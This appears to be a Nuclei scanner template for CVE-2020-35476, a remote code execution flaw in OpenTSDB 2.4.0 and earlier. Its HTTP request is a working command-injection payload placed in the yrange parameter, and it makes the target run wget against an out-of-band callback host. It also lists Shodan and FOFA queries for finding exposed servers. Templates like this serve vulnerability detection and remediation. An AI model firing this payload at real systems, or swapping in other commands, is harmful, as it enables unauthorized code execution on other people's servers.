id: CVE-2020-35476

info:
  name: OpenTSDB <=2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    OpenTSDB 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade OpenTSDB to a version higher than 2.4.0 to mitigate this vulnerability.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
    epss-score: 0.9425
    epss-percentile: 0.99932
    cpe: cpe:2.3:a:opentsdb:opentsdb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: opentsdb
    product: opentsdb
    shodan-query:
      - html:"OpenTSDB"
      - http.html:"opentsdb"
    fofa-query: body="opentsdb"
  tags: cve,cve2020,opentsdb,rce,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - plotted
          - timing
          - cachehit
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204211ba53e6cbf3cbf44198354b27aadc4316b684e2338f8141dbc5572ae6a852022100c118245c4987b5effe819c5056747f7c3ea82bc2979db18442c35eb8169f32eb:922c64590222798bb761d5b6d8e72950